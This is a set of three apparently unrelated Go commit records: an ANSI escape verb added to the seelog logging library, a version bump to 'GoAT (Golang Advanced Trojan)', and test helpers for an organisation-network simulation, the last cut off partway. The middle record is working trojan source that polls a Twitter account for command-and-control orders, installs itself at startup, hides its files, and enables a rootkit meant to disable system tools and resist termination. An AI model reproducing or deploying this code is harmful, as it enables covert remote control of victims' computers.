<commit_before>// Copyright (c) 2012 - Cloud Instruments Co., Ltd.
//
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this
//    list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice,
//    this list of conditions and the following disclaimer in the documentation
//    and/or other materials provided with the distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
// ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

package seelog

import (
	"errors"
	"fmt"
	"strconv"
	"strings"
	"time"
	"unicode"
	"unicode/utf8"
)

// VerbSymbol is a special symbol used in config files to mark special format aliases.
const (
	VerbSymbol         = '%'
)
const (
	verbSymbolString   = "%"
	verbParameterStart = '('
	verbParameterEnd   = ')'
)

// These are the time and date formats that are used when %Date or %Time format aliases are used.
const (
	DateDefaultFormat  = "2006-01-02"
	TimeFormat         = "15:04:05"
)

var defaultformatter *formatter

func init() {
	var err error
	defaultformatter, err = newFormatter("%Ns [%Level] %Msg%n")
	if err != nil {
		fmt.Println("Error during defaultformatter creation: " + err.Error())
	}
}

type verbFunc func(message string, level LogLevel, context logContextInterface) interface{}
type verbFuncCreator func(param string) verbFunc

var verbFuncs = map[string]verbFunc{
	"Level":    verbLevel,
	"Lev":      verbLev,
	"LEVEL":    verbLEVEL,
	"LEV":      verbLEV,
	"l":        verbl,
	"Msg":      verbMsg,
	"FullPath": verbFullPath,
	"File":     verbFile,
	"RelFile":  verbRelFile,
	"Func":     verbFunction,
	"FuncShort":verbFunctionShort,
	"Line":     verbLine,
	"Time":     verbTime,
	"Ns":       verbNs,
	"n":        verbn,
	"t":        verbt,
}

var verbFuncsParametrized = map[string]verbFuncCreator{
	"Date": createDateTimeVerbFunc,
}

// formatter is used to write messages in a specific format, inserting such additional data
// as log level, date/time, etc.
type formatter struct {
	fmtStringOriginal string
	fmtString         string
	verbFuncs         []verbFunc
}

// newFormatter creates a new formatter using a format string
func newFormatter(formatString string) (*formatter, error) {
	newformatter := new(formatter)
	newformatter.fmtStringOriginal = formatString

	err := newformatter.buildVerbFuncs()
	if err != nil {
		return nil, err
	}

	return newformatter, nil
}

func (formatter *formatter) buildVerbFuncs() error {
	formatter.verbFuncs = make([]verbFunc, 0)
	var fmtString string
	for i := 0; i < len(formatter.fmtStringOriginal); i++ {
		char := formatter.fmtStringOriginal[i]
		if char != VerbSymbol {
			fmtString += string(char)
			continue
		}

		isEndOfStr := i == len(formatter.fmtStringOriginal)-1
		if isEndOfStr {
			return errors.New(fmt.Sprintf("Format error: %v - last symbol", verbSymbolString))
		}

		isDoubledVerbSymbol := formatter.fmtStringOriginal[i+1] == VerbSymbol
		if isDoubledVerbSymbol {
			fmtString += verbSymbolString
			i++
			continue
		}

		function, nextI, err := formatter.extractVerbFunc(i + 1)
		if err != nil {
			return err
		}

		fmtString += "%v"
		i = nextI
		formatter.verbFuncs = append(formatter.verbFuncs, function)
	}

	formatter.fmtString = fmtString
	return nil
}

func (formatter *formatter) extractVerbFunc(index int) (verbFunc, int, error) {
	letterSequence := formatter.extractLetterSequence(index)
	if len(letterSequence) == 0 {
		return nil, 0, errors.New(fmt.Sprintf("Format error: lack of verb after %v. At %v", verbSymbolString, index))
	}

	function, verbLength, ok := formatter.findVerbFunc(letterSequence)
	if ok {
		return function, index + verbLength - 1, nil
	}

	function, verbLength, ok = formatter.findVerbFuncParametrized(letterSequence, index)
	if ok {
		return function, index + verbLength - 1, nil
	}

	return nil, 0, errors.New("Format error: unrecognized verb at " + strconv.Itoa(index) + ": " + letterSequence)
}

func (formatter *formatter) extractLetterSequence(index int) string {
	letters := ""

	bytesToParse := []byte(formatter.fmtStringOriginal[index:])
	runeCount := utf8.RuneCount(bytesToParse)
	for i := 0; i < runeCount; i++ {
		rune, runeSize := utf8.DecodeRune(bytesToParse)
		bytesToParse = bytesToParse[runeSize:]

		if unicode.IsLetter(rune) {
			letters += string(rune)
		} else {
			break
		}
	}
	return letters
}

func (formatter *formatter) findVerbFunc(letters string) (verbFunc, int, bool) {
	currentVerb := letters
	for i := 0; i < len(letters); i++ {
		function, ok := verbFuncs[currentVerb]
		if ok {
			return function, len(currentVerb), ok
		}
		currentVerb = currentVerb[:len(currentVerb)-1]
	}

	return nil, 0, false
}

func (formatter *formatter) findVerbFuncParametrized(letters string, lettersStartIndex int) (verbFunc, int, bool) {
	currentVerb := letters
	for i := 0; i < len(letters); i++ {
		functionCreator, ok := verbFuncsParametrized[currentVerb]
		if ok {
			paramter := ""
			parameterLen := 0
			isVerbEqualsLetters := i == 0 // if not, then letter goes after verb, and verb is parameterless
			if isVerbEqualsLetters {
				userParamter := ""
				userParamter, parameterLen, ok = formatter.findparameter(lettersStartIndex + len(currentVerb))
				if ok {
					paramter = userParamter
				}
			}

			return functionCreator(paramter), len(currentVerb) + parameterLen, true
		}

		currentVerb = currentVerb[:len(currentVerb)-1]
	}

	return nil, 0, false
}

func (formatter *formatter) findparameter(startIndex int) (string, int, bool) {
	if len(formatter.fmtStringOriginal) == startIndex || formatter.fmtStringOriginal[startIndex] != verbParameterStart {
		return "", 0, false
	}

	endIndex := strings.Index(formatter.fmtStringOriginal[startIndex:], string(verbParameterEnd)) + startIndex
	if endIndex == -1 {
		return "", 0, false
	}

	length := endIndex - startIndex + 1

	return formatter.fmtStringOriginal[startIndex+1 : endIndex], length, true
}

// Format processes a message with special verbs, log level, and context. Returns formatted string
// with all verb identifiers changed to appropriate values.
func (formatter *formatter) Format(message string, level LogLevel, context logContextInterface) string {
	if len(formatter.verbFuncs) == 0 {
		return formatter.fmtString
	}

	params := make([]interface{}, len(formatter.verbFuncs))
	for i, function := range formatter.verbFuncs {
		params[i] = function(message, level, context)
	}

	return fmt.Sprintf(formatter.fmtString, params...)
}

func (formatter *formatter) String() string {
	return formatter.fmtStringOriginal
}

//=====================================================

const (
	wrongLogLevel = "WRONG_LOGLEVEL"
)

var levelToString = map[LogLevel]string{
	TraceLvl:    "Trace",
	DebugLvl:    "Debug",
	InfoLvl:     "Info",
	WarnLvl:     "Warn",
	ErrorLvl:    "Error",
	CriticalLvl: "Critical",
	Off:         "Off",
}

var levelToShortString = map[LogLevel]string{
	TraceLvl:    "Trc",
	DebugLvl:    "Dbg",
	InfoLvl:     "Inf",
	WarnLvl:     "Wrn",
	ErrorLvl:    "Err",
	CriticalLvl: "Crt",
	Off:         "Off",
}

var levelToShortestString = map[LogLevel]string{
	TraceLvl:    "t",
	DebugLvl:    "d",
	InfoLvl:     "i",
	WarnLvl:     "w",
	ErrorLvl:    "e",
	CriticalLvl: "c",
	Off:         "o",
}

func verbLevel(message string, level LogLevel, context logContextInterface) interface{} {
	levelStr, ok := levelToString[level]
	if !ok {
		return wrongLogLevel
	}
	return levelStr
}

func verbLev(message string, level LogLevel, context logContextInterface) interface{} {
	levelStr, ok := levelToShortString[level]
	if !ok {
		return wrongLogLevel
	}
	return levelStr
}

func verbLEVEL(message string, level LogLevel, context logContextInterface) interface{} {
	return strings.ToTitle(verbLevel(message, level, context).(string))
}

func verbLEV(message string, level LogLevel, context logContextInterface) interface{} {
	return strings.ToTitle(verbLev(message, level, context).(string))
}

func verbl(message string, level LogLevel, context logContextInterface) interface{} {
	levelStr, ok := levelToShortestString[level]
	if !ok {
		return wrongLogLevel
	}
	return levelStr
}

func verbMsg(message string, level LogLevel, context logContextInterface) interface{} {
	return message
}

func verbFullPath(message string, level LogLevel, context logContextInterface) interface{} {
	return context.FullPath()
}

func verbFile(message string, level LogLevel, context logContextInterface) interface{} {
	return context.FileName()
}

func verbRelFile(message string, level LogLevel, context logContextInterface) interface{} {
	return context.ShortPath()
}

func verbFunction(message string, level LogLevel, context logContextInterface) interface{} {
	return context.Func()
}

func verbFunctionShort(message string, level LogLevel, context logContextInterface) interface{} {
	f := context.Func()
	spl := strings.Split(f, ".")
	return spl[len(spl) - 1]
}

func verbLine(message string, level LogLevel, context logContextInterface) interface{} {
	return context.Line()
}

func verbTime(message string, level LogLevel, context logContextInterface) interface{} {
	return context.CallTime().Format(TimeFormat)
}

func verbNs(message string, level LogLevel, context logContextInterface) interface{} {
	return context.CallTime().UnixNano()
}

func verbn(message string, level LogLevel, context logContextInterface) interface{} {
	return "\n"
}

func verbt(message string, level LogLevel, context logContextInterface) interface{} {
	return "\t"
}

func createDateTimeVerbFunc(dateTimeFormat string) verbFunc {
	format := dateTimeFormat
	if format == "" {
		format = DateDefaultFormat
	}
	return func(message string, level LogLevel, context logContextInterface) interface{} {
		return time.Now().Format(format)
	}
}
<commit_msg>Added ANSI n [;k] m sequence format identifier. #32.<commit_after>// Copyright (c) 2012 - Cloud Instruments Co., Ltd.
//
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice, this
//    list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice,
//    this list of conditions and the following disclaimer in the documentation
//    and/or other materials provided with the distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
// ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

package seelog

import (
	"errors"
	"fmt"
	"strconv"
	"strings"
	"time"
	"unicode"
	"unicode/utf8"
)

// VerbSymbol is a special symbol used in config files to mark special format aliases.
const (
	VerbSymbol         = '%'
)
const (
	verbSymbolString   = "%"
	verbParameterStart = '('
	verbParameterEnd   = ')'
)

// These are the time and date formats that are used when %Date or %Time format aliases are used.
const (
	DateDefaultFormat  = "2006-01-02"
	TimeFormat         = "15:04:05"
)

var defaultformatter *formatter

func init() {
	var err error
	defaultformatter, err = newFormatter("%Ns [%Level] %Msg%n")
	if err != nil {
		fmt.Println("Error during defaultformatter creation: " + err.Error())
	}
}

type verbFunc func(message string, level LogLevel, context logContextInterface) interface{}
type verbFuncCreator func(param string) verbFunc

var verbFuncs = map[string]verbFunc{
	"Level":    verbLevel,
	"Lev":      verbLev,
	"LEVEL":    verbLEVEL,
	"LEV":      verbLEV,
	"l":        verbl,
	"Msg":      verbMsg,
	"FullPath": verbFullPath,
	"File":     verbFile,
	"RelFile":  verbRelFile,
	"Func":     verbFunction,
	"FuncShort":verbFunctionShort,
	"Line":     verbLine,
	"Time":     verbTime,
	"Ns":       verbNs,
	"n":        verbn,
	"t":        verbt,
}

var verbFuncsParametrized = map[string]verbFuncCreator{
	"Date": createDateTimeVerbFunc,
	"EscM": createANSIEscapeFunc,
}

// formatter is used to write messages in a specific format, inserting such additional data
// as log level, date/time, etc.
type formatter struct {
	fmtStringOriginal string
	fmtString         string
	verbFuncs         []verbFunc
}

// newFormatter creates a new formatter using a format string
func newFormatter(formatString string) (*formatter, error) {
	newformatter := new(formatter)
	newformatter.fmtStringOriginal = formatString

	err := newformatter.buildVerbFuncs()
	if err != nil {
		return nil, err
	}

	return newformatter, nil
}

func (formatter *formatter) buildVerbFuncs() error {
	formatter.verbFuncs = make([]verbFunc, 0)
	var fmtString string
	for i := 0; i < len(formatter.fmtStringOriginal); i++ {
		char := formatter.fmtStringOriginal[i]
		if char != VerbSymbol {
			fmtString += string(char)
			continue
		}

		isEndOfStr := i == len(formatter.fmtStringOriginal)-1
		if isEndOfStr {
			return errors.New(fmt.Sprintf("Format error: %v - last symbol", verbSymbolString))
		}

		isDoubledVerbSymbol := formatter.fmtStringOriginal[i+1] == VerbSymbol
		if isDoubledVerbSymbol {
			fmtString += verbSymbolString
			i++
			continue
		}

		function, nextI, err := formatter.extractVerbFunc(i + 1)
		if err != nil {
			return err
		}

		fmtString += "%v"
		i = nextI
		formatter.verbFuncs = append(formatter.verbFuncs, function)
	}

	formatter.fmtString = fmtString
	return nil
}

func (formatter *formatter) extractVerbFunc(index int) (verbFunc, int, error) {
	letterSequence := formatter.extractLetterSequence(index)
	if len(letterSequence) == 0 {
		return nil, 0, errors.New(fmt.Sprintf("Format error: lack of verb after %v. At %v", verbSymbolString, index))
	}

	function, verbLength, ok := formatter.findVerbFunc(letterSequence)
	if ok {
		return function, index + verbLength - 1, nil
	}

	function, verbLength, ok = formatter.findVerbFuncParametrized(letterSequence, index)
	if ok {
		return function, index + verbLength - 1, nil
	}

	return nil, 0, errors.New("Format error: unrecognized verb at " + strconv.Itoa(index) + ": " + letterSequence)
}

func (formatter *formatter) extractLetterSequence(index int) string {
	letters := ""

	bytesToParse := []byte(formatter.fmtStringOriginal[index:])
	runeCount := utf8.RuneCount(bytesToParse)
	for i := 0; i < runeCount; i++ {
		rune, runeSize := utf8.DecodeRune(bytesToParse)
		bytesToParse = bytesToParse[runeSize:]

		if unicode.IsLetter(rune) {
			letters += string(rune)
		} else {
			break
		}
	}
	return letters
}

func (formatter *formatter) findVerbFunc(letters string) (verbFunc, int, bool) {
	currentVerb := letters
	for i := 0; i < len(letters); i++ {
		function, ok := verbFuncs[currentVerb]
		if ok {
			return function, len(currentVerb), ok
		}
		currentVerb = currentVerb[:len(currentVerb)-1]
	}

	return nil, 0, false
}

func (formatter *formatter) findVerbFuncParametrized(letters string, lettersStartIndex int) (verbFunc, int, bool) {
	currentVerb := letters
	for i := 0; i < len(letters); i++ {
		functionCreator, ok := verbFuncsParametrized[currentVerb]
		if ok {
			paramter := ""
			parameterLen := 0
			isVerbEqualsLetters := i == 0 // if not, then letter goes after verb, and verb is parameterless
			if isVerbEqualsLetters {
				userParamter := ""
				userParamter, parameterLen, ok = formatter.findparameter(lettersStartIndex + len(currentVerb))
				if ok {
					paramter = userParamter
				}
			}

			return functionCreator(paramter), len(currentVerb) + parameterLen, true
		}

		currentVerb = currentVerb[:len(currentVerb)-1]
	}

	return nil, 0, false
}

func (formatter *formatter) findparameter(startIndex int) (string, int, bool) {
	if len(formatter.fmtStringOriginal) == startIndex || formatter.fmtStringOriginal[startIndex] != verbParameterStart {
		return "", 0, false
	}

	endIndex := strings.Index(formatter.fmtStringOriginal[startIndex:], string(verbParameterEnd)) + startIndex
	if endIndex == -1 {
		return "", 0, false
	}

	length := endIndex - startIndex + 1

	return formatter.fmtStringOriginal[startIndex+1 : endIndex], length, true
}

// Format processes a message with special verbs, log level, and context. Returns formatted string
// with all verb identifiers changed to appropriate values.
func (formatter *formatter) Format(message string, level LogLevel, context logContextInterface) string {
	if len(formatter.verbFuncs) == 0 {
		return formatter.fmtString
	}

	params := make([]interface{}, len(formatter.verbFuncs))
	for i, function := range formatter.verbFuncs {
		params[i] = function(message, level, context)
	}

	return fmt.Sprintf(formatter.fmtString, params...)
}

func (formatter *formatter) String() string {
	return formatter.fmtStringOriginal
}

//=====================================================

const (
	wrongLogLevel = "WRONG_LOGLEVEL"
	wrongEscapeCode = "WRONG_ESCAPE"
)

var levelToString = map[LogLevel]string{
	TraceLvl:    "Trace",
	DebugLvl:    "Debug",
	InfoLvl:     "Info",
	WarnLvl:     "Warn",
	ErrorLvl:    "Error",
	CriticalLvl: "Critical",
	Off:         "Off",
}

var levelToShortString = map[LogLevel]string{
	TraceLvl:    "Trc",
	DebugLvl:    "Dbg",
	InfoLvl:     "Inf",
	WarnLvl:     "Wrn",
	ErrorLvl:    "Err",
	CriticalLvl: "Crt",
	Off:         "Off",
}

var levelToShortestString = map[LogLevel]string{
	TraceLvl:    "t",
	DebugLvl:    "d",
	InfoLvl:     "i",
	WarnLvl:     "w",
	ErrorLvl:    "e",
	CriticalLvl: "c",
	Off:         "o",
}

func verbLevel(message string, level LogLevel, context logContextInterface) interface{} {
	levelStr, ok := levelToString[level]
	if !ok {
		return wrongLogLevel
	}
	return levelStr
}

func verbLev(message string, level LogLevel, context logContextInterface) interface{} {
	levelStr, ok := levelToShortString[level]
	if !ok {
		return wrongLogLevel
	}
	return levelStr
}

func verbLEVEL(message string, level LogLevel, context logContextInterface) interface{} {
	return strings.ToTitle(verbLevel(message, level, context).(string))
}

func verbLEV(message string, level LogLevel, context logContextInterface) interface{} {
	return strings.ToTitle(verbLev(message, level, context).(string))
}

func verbl(message string, level LogLevel, context logContextInterface) interface{} {
	levelStr, ok := levelToShortestString[level]
	if !ok {
		return wrongLogLevel
	}
	return levelStr
}

func verbMsg(message string, level LogLevel, context logContextInterface) interface{} {
	return message
}

func verbFullPath(message string, level LogLevel, context logContextInterface) interface{} {
	return context.FullPath()
}

func verbFile(message string, level LogLevel, context logContextInterface) interface{} {
	return context.FileName()
}

func verbRelFile(message string, level LogLevel, context logContextInterface) interface{} {
	return context.ShortPath()
}

func verbFunction(message string, level LogLevel, context logContextInterface) interface{} {
	return context.Func()
}

func verbFunctionShort(message string, level LogLevel, context logContextInterface) interface{} {
	f := context.Func()
	spl := strings.Split(f, ".")
	return spl[len(spl) - 1]
}

func verbLine(message string, level LogLevel, context logContextInterface) interface{} {
	return context.Line()
}

func verbTime(message string, level LogLevel, context logContextInterface) interface{} {
	return context.CallTime().Format(TimeFormat)
}

func verbNs(message string, level LogLevel, context logContextInterface) interface{} {
	return context.CallTime().UnixNano()
}

func verbn(message string, level LogLevel, context logContextInterface) interface{} {
	return "\n"
}

func verbt(message string, level LogLevel, context logContextInterface) interface{} {
	return "\t"
}

func createDateTimeVerbFunc(dateTimeFormat string) verbFunc {
	format := dateTimeFormat
	if format == "" {
		format = DateDefaultFormat
	}
	return func(message string, level LogLevel, context logContextInterface) interface{} {
		return time.Now().Format(format)
	}
}

func createANSIEscapeFunc(escapeCodeString string) verbFunc {
	return func(message string, level LogLevel, context logContextInterface) interface{} {
		if len(escapeCodeString) == 0 {
			return wrongEscapeCode
		}

		return fmt.Sprintf("%c[%sm", 0x1B, escapeCodeString)
	}
}<|endoftext|>


<commit_before>/*
GoAT (Golang Advanced Trojan) -- Version 0.1 (UNDER CONSTRUCTION!)
	by Peter Cunha
		http://petercunha.com
		https://github.com/petercunha

This is a trojan made in Go, using Twitter as a the C&C server.

COMMANDS:
	!echo <message> - Logs message to slave console
	!quit - Closes GoAT
	!clear - Tells GoAT to do nothing. Use this command if you don't want slaves to execute latest command on connect.

NOTE: Compile with	go build -o GoAT.exe -ldflags "-H windowsgui" "C:\GoAT.go"	to have no console show.

TODO:
	- Commands
		- DDoS
		- Send messagebox
		- Uninstall
		- Shutdown/Restart
*/

package main

import (
	// Native packages
	"fmt"
	"io/ioutil"
	"net/http"
	"strings"
	"time"
	"os"

	// Homemade packages
	"command"
	"installer"
	"rootkit"
)

var (
	commander string = "GolangAT"	// Twitter account for Command & Control
	slumber time.Duration = 5		// Time to wait between checking for commands (in seconds)
	cmd string = ""					// Stores latest command. Do not change this variable.

	// DO NOT ENABLE THE BELOW COMMANDS UNLESS YOU KNOW YOUR SHIT!

	enable_install bool = true		// If enabled, GoAT will add itelf to startup
	enable_stealth bool = true		// If enabled, GoAT will add hidden and system attributes to its files
	enable_rootkit bool = true		/* If enabled, this will:
										- Actively cloak GoAT's files from user detection
										- Actively monitor registry to prevent removal from start up
										- Disable task manager and other system tools
										- Protect GoAT's process from termination */
)

func main() {
	fmt.Println("GoAT (Golang Advanced Trojan) Loaded.\n")

	fmt.Println("SETTINGS")
	fmt.Println("Location:\t\t", os.Args[0])
	fmt.Println("Commander:\t\t", commander)
	fmt.Println("Refresh interval:\t", int(slumber))
	fmt.Println("Install:\t\t", isTrue(enable_install))
	fmt.Println("Stealth:\t\t", isTrue(enable_stealth))
	fmt.Println("Rootkit:\t\t", isTrue(enable_rootkit), "\n")

	if enable_install {
		installer.Install()
	}

	if enable_stealth && enable_install {
		rootkit.Stealthify()
	}

	if enable_rootkit && enable_stealth && enable_install {
		go rootkit.Install()
	}

	fmt.Println("Commander:\t\t", commander)
	fmt.Println("Refresh interval:\t", int(slumber), "\n")

	fmt.Println("Awaiting commands...")

	for true {
		go refresh()
		time.Sleep(time.Second * slumber)
	}
}

func refresh() {
	lines := getContent()
 	if lines == nil {
 		return
 	}

	for i := 0; i < len(lines); i++ {
		if strings.Contains(lines[i], "data-aria-label-part=\"0\">") {
			temp := strings.Split(strings.Split(lines[i], "data-aria-label-part=\"0\">")[1], "<")[0]
			if cmd != temp && !strings.Contains(temp, "!clear") {
				cmd = temp
				fmt.Println("New command found:", cmd)
				command.Parse(cmd)
			} else if strings.Contains(temp, "!clear") {
				cmd = "!clear"
			}

			i = len(lines)
		}
	}
}

func getContent() (lines []string) {
	res, err := http.Get("https://twitter.com/" + commander)
	if err != nil {
		fmt.Println("Bad connection! Sleeping for", int(slumber), "seconds")
		return nil
	}

	content, err := ioutil.ReadAll(res.Body)
	res.Body.Close()
	if err != nil {
		fmt.Println("Bad connection! Sleeping for", int(slumber), "seconds")
		return nil
	}

	return strings.Split(string(content), "\n")
}

func isTrue(option bool) string {
	if option {
		return "Yes"
	} else {
		return "No"
	}
}
<commit_msg>small change<commit_after>/*
GoAT (Golang Advanced Trojan) -- Version 0.5 Beta
	by Peter Cunha
		http://petercunha.com
		https://github.com/petercunha

This is a trojan made in Go, using Twitter as a the C&C server.

COMMANDS:
	!echo <message> - Logs message to slave console
	!quit - Closes GoAT
	!clear - Tells GoAT to do nothing. Use this command if you don't want slaves to execute latest command on connect.

NOTE: Compile with	go build -o GoAT.exe -ldflags "-H windowsgui" "C:\GoAT.go"	to have no console show.

TODO:
	- Commands
		- DDoS
		- Send messagebox
		- Uninstall
		- Shutdown/Restart
*/

package main

import (
	// Native packages
	"fmt"
	"io/ioutil"
	"net/http"
	"strings"
	"time"
	"os"

	// Homemade packages
	"command"
	"installer"
	"rootkit"
)

var (
	commander string = "GolangAT"	// Twitter account for Command & Control
	slumber time.Duration = 5		// Time to wait between checking for commands (in seconds)
	cmd string = ""					// Stores latest command. Do not change this variable.

	// DO NOT ENABLE THE BELOW COMMANDS UNLESS YOU KNOW YOUR SHIT!

	enable_install bool = true		// If enabled, GoAT will add itelf to startup
	enable_stealth bool = true		// If enabled, GoAT will add hidden and system attributes to its files
	enable_rootkit bool = true		/* If enabled, this will:
										- Actively cloak GoAT's files from user detection
										- Actively monitor registry to prevent removal from start up
										- Disable task manager and other system tools
										- Protect GoAT's process from termination */
)

func main() {
	fmt.Println("GoAT (Golang Advanced Trojan) Loaded.\n")

	fmt.Println("SETTINGS")
	fmt.Println("Location:\t\t", os.Args[0])
	fmt.Println("Commander:\t\t", commander)
	fmt.Println("Refresh interval:\t", int(slumber))
	fmt.Println("Install:\t\t", isTrue(enable_install))
	fmt.Println("Stealth:\t\t", isTrue(enable_stealth))
	fmt.Println("Rootkit:\t\t", isTrue(enable_rootkit), "\n")

	if enable_install {
		installer.Install()
	}

	if enable_stealth && enable_install {
		rootkit.Stealthify()
	}

	if enable_rootkit && enable_stealth && enable_install {
		go rootkit.Install()
	}

	fmt.Println("Commander:\t\t", commander)
	fmt.Println("Refresh interval:\t", int(slumber), "\n")

	fmt.Println("Awaiting commands...")

	for true {
		go refresh()
		time.Sleep(time.Second * slumber)
	}
}

func refresh() {
	lines := getContent()
 	if lines == nil {
 		return
 	}

	for i := 0; i < len(lines); i++ {
		if strings.Contains(lines[i], "data-aria-label-part=\"0\">") {
			temp := strings.Split(strings.Split(lines[i], "data-aria-label-part=\"0\">")[1], "<")[0]
			if cmd != temp && !strings.Contains(temp, "!clear") {
				cmd = temp
				fmt.Println("New command found:", cmd)
				command.Parse(cmd)
			} else if strings.Contains(temp, "!clear") {
				cmd = "!clear"
			}

			i = len(lines)
		}
	}
}

func getContent() (lines []string) {
	res, err := http.Get("https://twitter.com/" + commander)
	if err != nil {
		fmt.Println("Bad connection! Sleeping for", int(slumber), "seconds")
		return nil
	}

	content, err := ioutil.ReadAll(res.Body)
	res.Body.Close()
	if err != nil {
		fmt.Println("Bad connection! Sleeping for", int(slumber), "seconds")
		return nil
	}

	return strings.Split(string(content), "\n")
}

func isTrue(option bool) string {
	if option {
		return "Yes"
	} else {
		return "No"
	}
}
<|endoftext|>


<commit_before>package orgnetsim

import (
	"bytes"
	"fmt"
	"os"
	"testing"
)

func IsFalse(t *testing.T, condition bool, msg string) {
	if condition {
		t.Error(msg)
	}
}

func IsTrue(t *testing.T, condition bool, msg string) {
	if !condition {
		t.Error(msg)
	}
}

func AreEqual(t *testing.T, expected interface{}, actual interface{}, msg string) {
	if expected != actual {
		t.Errorf("%s Expected = %v Actual = %v", msg, expected, actual)
	}
}

func NotEqual(t *testing.T, expected interface{}, actual interface{}, msg string) {
	if expected == actual {
		t.Errorf("%s Expected = %v Actual = %v", msg, expected, actual)
	}
}

func AssertSuccess(t *testing.T, err error) {
	if err != nil {
		t.Errorf(err.Error())
	}
}

//Convenience method to dump the colors and conversations arrays into a csv file
func WriteOutput(t *testing.T, s HierarchySpec, n RelationshipMgr, colors [][]int, conversations []int) {
	f, err := os.Create("./out.csv")
	AssertSuccess(t, err)
	defer f.Close()

	var buffer bytes.Buffer

	for c := 0; c < MaxColors; c++ {
		buffer.WriteString(fmt.Sprintf("%s,", Color(c).String()))
	}

	buffer.WriteString("Conversations,,Node,Change Count,,Link,Strength,,Levels,TeamSize,TeamLinkLevel,LinkTeamPeers,LinkTeams,InitColors,EvangelistAgents,LoneEvangelist,AgentsWithMemory\n")

	agents := n.Agents()
	links := n.Links()
	iterations := len(conversations)
	agentCount := len(agents)
	linkCount := len(links)
	totalLines := iterations
	if agentCount > totalLines {
		totalLines = agentCount
	}
	if linkCount > totalLines {
		totalLines = linkCount
	}

	for i := 0; i < totalLines; i++ {
		if i < iterations {
			for j := 0; j < MaxColors; j++ {
				buffer.WriteString(fmt.Sprintf("%d,", colors[i][j]))
			}
			buffer.WriteString(fmt.Sprintf("%d", conversations[i]))
		} else {
			for j := 0; j < MaxColors; j++ {
				buffer.WriteString(",")
			}
		}
		if i < agentCount {
			buffer.WriteString(fmt.Sprintf(",,%s,%d", agents[i].Identifier(), agents[i].State().ChangeCount))
		} else {
			buffer.WriteString(",,,")
		}
		if i < linkCount {
			buffer.WriteString(fmt.Sprintf(",,%s-%s,%d", links[i].Agent1ID, links[i].Agent2ID, links[i].Strength))
		} else {
			buffer.WriteString(",,,")
		}
		if i == 0 {
			var initColors string
			for x := 0; x < len(s.InitColors); x++ {
				initColors = initColors + Color(s.InitColors[x]).String()
			}
			buffer.WriteString(fmt.Sprintf(",,%d,%d,%d,%t,%t,%s,%t,%t,%t\n", s.Levels, s.TeamSize, s.TeamLinkLevel, s.LinkTeamPeers, s.LinkTeams, initColors, s.EvangelistAgents, s.LoneEvangelist, s.AgentsWithMemory))
		} else {
			buffer.WriteString("\n")
		}
	}

	_, err = f.Write(buffer.Bytes())
	AssertSuccess(t, err)
}

func TestRunSim(t *testing.T) {

	s := HierarchySpec{
		4,                  //Levels
		5,                  //TeamSize
		3,                  //TeamLinkLevel
		true,               //LinkTeamPeers
		true,               //LinkTeams
		[]Color{Grey, Red}, //InitColors
		false,              //EvangelistAgents
		false,              //LoneEvangelist
		false,              //AgentsWithMemory
	}

	n, err := GenerateHierarchy(s)
	AssertSuccess(t, err)

	colors, conversations := RunSim(n, 500)
	WriteOutput(t, s, n, colors, conversations)
}
<commit_msg>Updated csv writer code to include Agent Influence, Susceptibility, and Contrariness scores.<commit_after>package orgnetsim

import (
	"bytes"
	"fmt"
	"os"
	"testing"
)

func IsFalse(t *testing.T, condition bool, msg string) {
	if condition {
		t.Error(msg)
	}
}

func IsTrue(t *testing.T, condition bool, msg string) {
	if !condition {
		t.Error(msg)
	}
}

func AreEqual(t *testing.T, expected interface{}, actual interface{}, msg string) {
	if expected != actual {
		t.Errorf("%s Expected = %v Actual = %v", msg, expected, actual)
	}
}

func NotEqual(t *testing.T, expected interface{}, actual interface{}, msg string) {
	if expected == actual {
		t.Errorf("%s Expected = %v Actual = %v", msg, expected, actual)
	}
}

func AssertSuccess(t *testing.T, err error) {
	if err != nil {
		t.Errorf(err.Error())
	}
}

//Convenience method to dump the colors and conversations arrays into a csv file
